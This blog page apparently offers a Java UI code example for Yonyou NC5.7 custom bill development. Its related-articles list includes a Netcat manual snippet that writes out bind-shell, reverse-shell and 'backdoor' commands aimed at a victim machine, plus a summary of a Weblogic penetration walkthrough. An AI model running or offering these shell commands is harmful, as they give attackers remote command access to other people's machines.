用友NC单据UI基本代码示例

NC5单据号处理 1、在【客户化】->【单据号管理】中,为指定单据配置单据号规则 2、在EventHandler类中,实现获取单据号方法 /** * 获取单据号 * * @param billType * @param pk_corp * @return */ private String getVBillCode(String billType, String pk_corp 阅读详情

本示例在用友NC57环境下调试通过

最近在做基于NC的二次开发,这种封闭的系统文档很少,一个简单的例子都不能找到帮助。

本示例的目的是为了让后来者少走我走过的弯路

package nc.ui.ic.generaltc;

import nc.ui.pub.ButtonObject;
import nc.ui.pub.ClientEnvironment;
import nc.ui.pub.ToftPanel;
import nc.ui.pub.beans.UIPanel;
import nc.ui.pub.bill.BillCardPanel;
import nc.ui.pub.bill.BillEditEvent;
import nc.ui.pub.bill.BillEditListener;
import nc.ui.pub.bill.BillItem;
import nc.ui.pub.bill.BillListPanel;
import nc.ui.scm.pub.query.SCMQueryConditionDlg;
import javax.swing.JComboBox;
import javax.swing.JLabel;
import javax.swing.JTextField;
import java.awt.Dimension;

/**
 * NC5.7单据基础示例
 * @ClassName: ClientUI
 * @Description: TODO
 * @author s
 * @date 2013-4-9 下午2:22:21
 * BillEditListener  是按钮监听类
 * 实现BillEditListener,需实现bodyRowChange()、afterEdit()两个方法
 */
public class ClientUI extends ToftPanel implements BillEditListener {

	// 单据类型
	private BillCardPanel cpBill = null;
	
	// 客户端环境变量类
	private ClientEnvironment ce = getClientEnvironment();
	
	// 按钮查询,增加,修改,删除,保存,取消,打印,审核,弃审,关闭,打开.
	protected ButtonObject bnQuery = new ButtonObject("查询", "查询", 1, "查询");
	protected ButtonObject bnAdd = new ButtonObject("增加", "增加", 2, "增加");
	protected ButtonObject bnModify = new ButtonObject("修改", "修改", 3, "修改");
	protected ButtonObject bnDelete = new ButtonObject("删除", "删除", 4, "删除");
	protected ButtonObject bnSave = new ButtonObject("保存", "保存", 5, "保存");
	protected ButtonObject bnCancel = new ButtonObject("取消", "取消", 6, "取消");
	protected ButtonObject bnPrint = new ButtonObject("打印", "打印", 7, "打印");
	protected ButtonObject bnAudit = new ButtonObject("审核", "审核", 9, "审核");
	protected ButtonObject bnUnAudit = new ButtonObject("弃审", "弃审", 10, "弃审");
	protected ButtonObject bnClose = new ButtonObject("关闭", "关闭", 11, "关闭");
	protected ButtonObject bnOpen = new ButtonObject("打开", "打开", 12, "打开");
	
	protected ButtonObject[] bgMain = { bnQuery, bnAdd, bnModify, bnDelete,
			bnSave, bnCancel, bnPrint, bnAudit, bnUnAudit, bnClose, bnOpen };
	
	// 状态 有下列五种状态
	private int iStatus = 0;
	private int INIT = 0;
	private int NEW = 1;
	private int UPDATED = 2;
	private int DELETED = 3;
	private int SAVED = 4;
	
	private nc.vo.scm.pub.session.ClientLink m_cl=null;
	protected UIPanel conditionpanel = null;

	public ClientUI() {
		super();
		initialize();
	}

	/**
	 * 选中行触发该方法
	 */
	public void bodyRowChange(BillEditEvent arg0) {
		// TODO Auto-generated method stub
		// int isChangeRow = arg0.getRow();
	}

	public void afterEdit(BillEditEvent arg0) {
	}

	/**
	 * 界面初始化。
	 * @Title: initialize
	 * @Description: TODO
	 * @return void
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-10
	 */
	private void initialize() {
		try {
			setName("TcUI");
			m_cl = new nc.vo.scm.pub.session.ClientLink(ClientEnvironment.getInstance());
			//INIT,NEW,UPDATED,DELETED,SAVED;
			iStatus = INIT;
			setBnStatus(iStatus);
			//bnOpen.setHint("测试!!!!!");
			// 加载按钮
			setButtons(bgMain);
			add(getBillCardPanel());
			// onQuery();
		} catch (Exception e) {
			 nc.vo.scm.pub.SCMEnv.out(e.getMessage());
			 JLabel msg = new JLabel(e.getMessage());
			 msg.setHorizontalAlignment(JLabel.CENTER);
			 add(msg);
		}
	}

	/**
	 * 设置单据窗体
	 * @Title: getBillCardPanel
	 * @Description: TODO
	 * @return BillCardPanel
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-10
	 */
	private BillCardPanel getBillCardPanel() {
		if (cpBill == null) {
			try {
				cpBill = new BillCardPanel();
				/*
				 * 单据模板有两种常用加载方式
				 * 第一种是根据“单据模板编号”来加载
				 * 单据模板编号是模板在标准产品库中所保存的模板编号,在pub_billtemplet(单据模板主表)中的pk_billtemplet字段
				 * 可根据nodecode条件去pub_billtemplet表中查询
				 * 可用语句select pk_billtemplet from pub_billtemplet where nodecode='40081001'来查询
				 * nodecode是在“功能注册”时定义的节点“功能编码”,或称“节点编号”,见图1(单据类型管理)
				 */
				//cpBill.loadTemplet("0001AA1000000004OJWO");
				/*
				 * 第二种方式是使用cpBill.loadTemplet(strBillType, strBusiType, strOperator, strCorp)方法加载
				 * strBillType是单据模板在标准产品库中所保存的模板类型,在pub_billtemplet(单据模板主表)中的pk_billtypecode字段
				 * 可根据nodecode条件去pub_billtemplet表中查询
				 * 可用语句select pk_billtypecode from pub_billtemplet where nodecode='40081001'来查询
				 * strBusiType是业务类型,可设为null
				 * strOperator是操作者,使用ClientEnvironment.getUser().getPrimaryKey()取得环境用户参数
				 * strCorp是公司参数,使用ClientEnvironment.getCorporation().getPk_corp()取得环境公司参数
				 */
				cpBill.loadTemplet("40081001", null, ce.getUser().getPrimaryKey(), ce.getCorporation().getPk_corp());
				//设置单据体表体菜单是否显示
				cpBill.setBodyMenuShow(false);
				//添加监听
				cpBill.addEditListener(this);

			} catch (java.lang.Throwable ivjExc) {
			}
		}
		return cpBill;
	}
	/**
	 * 
	 * @Title: getConditionPanel
	 * @Description: TODO
	 * @return UIPanel
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-9
	 */
	protected UIPanel getConditionPanel() {
		if (conditionpanel == null) {
			conditionpanel = new UIPanel();
			conditionpanel.setName("UIPanel");
			conditionpanel.setLayout(new java.awt.GridLayout(2, 6, 0, 1));
			conditionpanel.setMaximumSize(new Dimension(550, 40));
			conditionpanel.setPreferredSize(new Dimension(550, 40));
			conditionpanel.setMinimumSize(new Dimension(550, 1));
		}
		return conditionpanel;
	}
	
	@Override
	public String getTitle() {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void onButtonClicked(ButtonObject arg0) {
		// TODO Auto-generated method stub
		
	}
	
	/**
	 * 设置按钮状态。
	 * @Title: setBnStatus
	 * @Description: TODO
	 * @param status
	 * @return void
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-10
	 */
	public void setBnStatus(int status) {
		//初始、删除、保存状态
		if (status == INIT || status == DELETED || status == SAVED) {
			bnQuery.setEnabled(true);
			bnAdd.setEnabled(true);
			bnModify.setEnabled(true);
			bnSave.setEnabled(false);
			bnCancel.setEnabled(false);
			bnDelete.setEnabled(true);
			//	bnModify.setEnabled(false);
		}
		//增加、修改状态
		else if (status == NEW || status == UPDATED) {
			bnQuery.setEnabled(false);
			bnAdd.setEnabled(false);
			bnSave.setEnabled(true);
			bnCancel.setEnabled(true);
			bnDelete.setEnabled(false);
			bnModify.setEnabled(false);
		}
			//bnPrint.setEnabled(false);
		updateButtons();
	}
}

图1:单据类型管理界面


nc java 设置,NC57,NC63-NC2开经验总结 NC57,NC63-NC二开经验总结版主2010级市场营销专业本科生2013年8月入达内培训Java相关技术12月入职,做用友NC的二次开发工作2015年4月离职,4中下旬入职一家互联网金融企业下面是做NC二开期间积累的一些常用的技术点,供NC实习生参考,不谢!下面是从word文档里拷贝进来的,图片全都没有了。需要的可以直接下载上面链接的文档。NC二开经验总结公式相关1.显示公式没执行列表界面显示... 阅读详情

相关推荐

用友UAP NC集成开发问题

1. 用友UAP NC 单据新增数据时抛出"流程平台缓存中不存在该单据或交易类型=A165" **// 接口调用,必须设置后台环境变量集团PK,从缓存中获取 //GroupId为所属集团id,每个组织都有其集团 InvocationInfoProxy.getInstance().setGroupId("0001A210000000000xxxxx");** nc.bs.framework.exception.FrameworkSecurityException: User session expire

m0_46598549的博客 3709

用友nc65 uap开发参照节点数据拉单之二----直接通过调用查询模版查询上游单据

用友nc65 uap开发参照节点数据拉单之二----直接通过调用查询模版查询上游单据 前面一篇博客讲了利用查询模版并显示在弹窗面板上的拉单方法。此次是直接通过调用查询模版查询上游所有单据。如图所示: 按钮调用查询面板 将符合条件的所有数据直接显示在编辑状态的面板上: 代码如下: xml代码: <bean id="refAction" class="nc.ui.fdc_pr.h303201570.ace.action.ReferAction"> <property name="mod

u010741112的博客 2259

NC65自定义按钮,重写保存方法,以及如何获取单据数据

1-自定义按钮 自定义按钮类需要继承NCAction方法 extends import nc.ui.uif2.NCAction 注入BillManageModel,生成get/set方法 private BillManageModel model; 实现doAction方法 public void doAction(ActionEv...

渡安H的博客 4156

NC57 ClientUI类常用方法

1、字段编辑后事件 afterEdit() 2、字段编辑前事件 beforeEdit() 3、当前单据操作状态 getBillOperate() 4、设置默认的界面数据 setDefaultData() 5、加载自定义按钮 initPrivateButton() ...

AcLings的博客 811

用友NC二次开发问题汇总【转】

用友NC二次开发问题汇总【转】

gfuugfdkkn的博客 2531

用友NC移动审批

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Ma...

weixin_45678870的博客 2877

NC57 自定义UIDilog

1.建立单据模板,表体   2.继承UIDialog ,一个对话框类   3.得到VO数据   4.加载模板   5.模板中设置3中得到的VO     ----Handler 类: if (intBtn == IXhfxButton.LINKQUERYSALE) {             // 销售明细表VO      

Just do it! 2094

NC源码和程序附上目前最详细的使用手册和使用技巧

软件介绍: 工具名:Netcat 作者:Hobbit && Chris Wysopal 类别:开放源码 平台:Linux/BSD/Unix/Windows WINDOWS下版本号:[v1.10 NT] 参数介绍: *nc.exe -h*即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] … nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出–用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉–用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法: 1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令”|”与重定向命令””等等命令功能更强大……)。 ======================================================== 高级用法: 6)作攻击程序用,例子: 格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 c:log.txt 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志 附:*c:log.txt*为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中 10) 后门 victim machine: //受害者的机器 nc -l -p port -e cmd //win2000 nc -l -p port -e /bin/sh //unix,linux

[转]用友NC单据UI基本代码示例

原地址: http://blog.youkuaiyun.com/softwave/article/details/8781220 本示例在用友NC57环境下调试通过 最近在做基于NC的二次开发,这种封闭的系统文档很少,一个简单的例子都不能找到帮助。 本示例的目的是为了让后来者少走我走过的弯路 [java] view plaincopy package nc.ui.ic.ge

Just do it! 2754

NC参照联动代码例子

声明:些文件是参照联动代码例子,用于参考学习使用,不作其它用途

GD32F303 Keil 工程项目从零搭建实战指南

本文是一份详细的GD32F303 Keil工程项目从零搭建实战指南。文章阐述了亲手搭建工程的重要性,并逐步指导开发者完成从环境准备、目录规划、工程创建、文件添加、关键配置到编译调试的全过程。重点讲解了如何正确选择启动文件、添加外设库、配置头文件路径和全局宏,旨在帮助开发者深入理解工程结构,掌握GD32F303开发的核心技能,实现从“会用”到“懂”的跨越。

weixin_29190651的博客 404

用友nc65 uap开发如何将一个vo单据显示在一个弹窗面板上?

用友nc65   uap开发如何将一个vo单据显示在一个弹窗面板上? 在有的时候我们需要通过一个节点查看另外一个节点与之相关的信息,而如果需要再去打开另外一个节点这样会使得操作繁杂。此时我们利用他们之间的关系把数据显示在一个弹窗面板上,通过按钮查看会方便许多。如图所示: 通过房产查询按钮显示房产资料节点与之相关的vo单据数据。 代码如下: 按钮代码 package nc.ui.f

qq_31968809的博客 5104

别再死磕U-Net了!用PyTorch手把手教你搭建ResUnet,搞定医学图像分割(附完整代码)

本文详细介绍了如何利用PyTorch搭建ResUnet模型,通过引入残差连接解决医学图像分割中的梯度消失、特征退化和细节丢失问题。与传统U-Net相比,ResUnet在Dice系数和收敛速度上均有显著提升,特别适合处理脑部MRI等复杂医学图像。文章还提供了完整的代码实现和关键训练技巧,帮助开发者快速掌握这一先进技术。

weixin_42552637的博客 326

Nc单据制作单据步骤

 Nc50制作单据步骤1. 导入数据字典进入 客户化à二次开发工具à系统管理工具à数据字典管理       选中数据字典,点新建,选择新建文件夹,在“显示名称”后面输入名称(中文),       选中刚新建的文件夹,点工具à导入数据字典à下一步à点选择按扭,选取要导入的pdm文件à下一步à在“导入到选中目录”前打钩à下一步à完成2. 注册功能节点进入 客户化à二次开发工

chxzly1981的专栏 5841

【低空经济】多源异构数据融合的低空智能感知系统设计与实现

本文探讨了低空智能感知系统在多源异构数据融合中的设计与实现,重点解决无人机等低空飞行器的安全监测问题。通过雷达、光学和红外传感器的数据融合,系统识别准确率提升至92%,并实现120ms的低延迟处理。文章详细介绍了时空对齐、特征级融合和动态权重自适应等关键技术,为低空经济发展提供可靠技术支持。

weixin_29065659的博客 342

红日-VulnStack靶场-ATT&CK(二):从Weblogic漏洞到域控渗透实战

本文详细解析了红日安全团队VulnStack靶场中从Weblogic漏洞到域控渗透的完整攻击链。通过实战演示Weblogic反序列化漏洞利用、Cobalt Strike持久化控制、域内信息收集及PsExec横向移动等关键技术,复现了企业内网渗透的典型场景,并提供了防御建议。

tgb3456789的博客 934

NC65客开单据参照上游单据拉单(超级详细带图以及代码NC65拉单大全)

NC65客开单据参照上游单据拉单(超级详细带图以及代码NC65拉单大全),拉单所需要的脚本、前台配置、以及后代代码。每一步都有图片,代码都有注释

m0_46401054的博客 2492

PythonWeb开发框架—Django之工程创建和models的定义和增删改查

文章介绍了Django工程的创建、models的定义和增删改查

weixin_42476668的博客 990

NC65使用UAP客开主子单据以及NC65常见的开发技术(超级详细附带图和源码)

本篇主要讲述使用UAP开发工具客开主子单据包括:创建项目发布、创建发布元数据、生成主子单据、以及相关报错和打补丁。在单据相关技术主要包括:NC65增加空按钮、NC65增加导入导出按钮、NC65复制单据相关修改、NC65系统数据获取、NC65列表多选、NC65表体行的配置、编辑前后事件、NC65参照弹框相关操作以及在客开的时候NC65遇见的报错和解决方案

m0_46401054的博客 4178

基于STM32的汽车主门电动窗开关系统设计方案

以下是基于 STM32CubeMX 和 HAL 库的示例代码,可实现基本的功能。

weixin_42300449的博客 994

Java炫酷烟花③(完整代码)

Java语言实现炫酷烟花动画的完整代码。 下载代码 下载链接:我是一只有趣的兔子,感谢你的喜欢。

AIGC 784

NC6外部交换平台新增单据接口开发说明

NC6外部交换平台新增单据接口开发说明

Winner_Top的博客 5126

【Network Management】DCM模块唤醒网络是主动唤醒还是被动唤醒

DCM模块唤醒网络是主动唤醒还是被动唤醒

qq_36056498的博客 1537

NC65二开单据单据追溯功能开发

NC65二开单据单据追溯功能开发 一.单据元数据字段增加字段 来源单据主键 来源单据类型 二.设置单据按钮&&修改单据类型 单据增加按钮 <bean id="linkQueryAction" class="nc.ui.so.socontract.ace.action.common.UserDefLinkQueryAction"> <property name...

kissi1990的博客 1483

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

用友uap nc65开发-单据联查相关开发

用友uap nc65开发-单据联查相关开发1.单据联查:针对有上下游数据单据,通过单据联查使用图形化界面显示该单据上下游。本教程分两部分,上游和下游。2.前期配置:xml配置对应的按钮,这里指定当前节点的单据类型,id,编码。&lt;!--======= 动作:[newActions] [联查单据] ===========--&gt; &lt;bean id="linkQueryAction" ...

qq_31968809的博客 8649

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

上一篇: 用友NC二次开发问题汇总【转】
下一篇: 【转】Java工具类——数字计算工具 NumberUtil
系统信息
系统信息 领域专家: 后端开发技术领域 领域专家: 后端开发技术领域
博客等级 码龄23年 2404粉丝 565原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值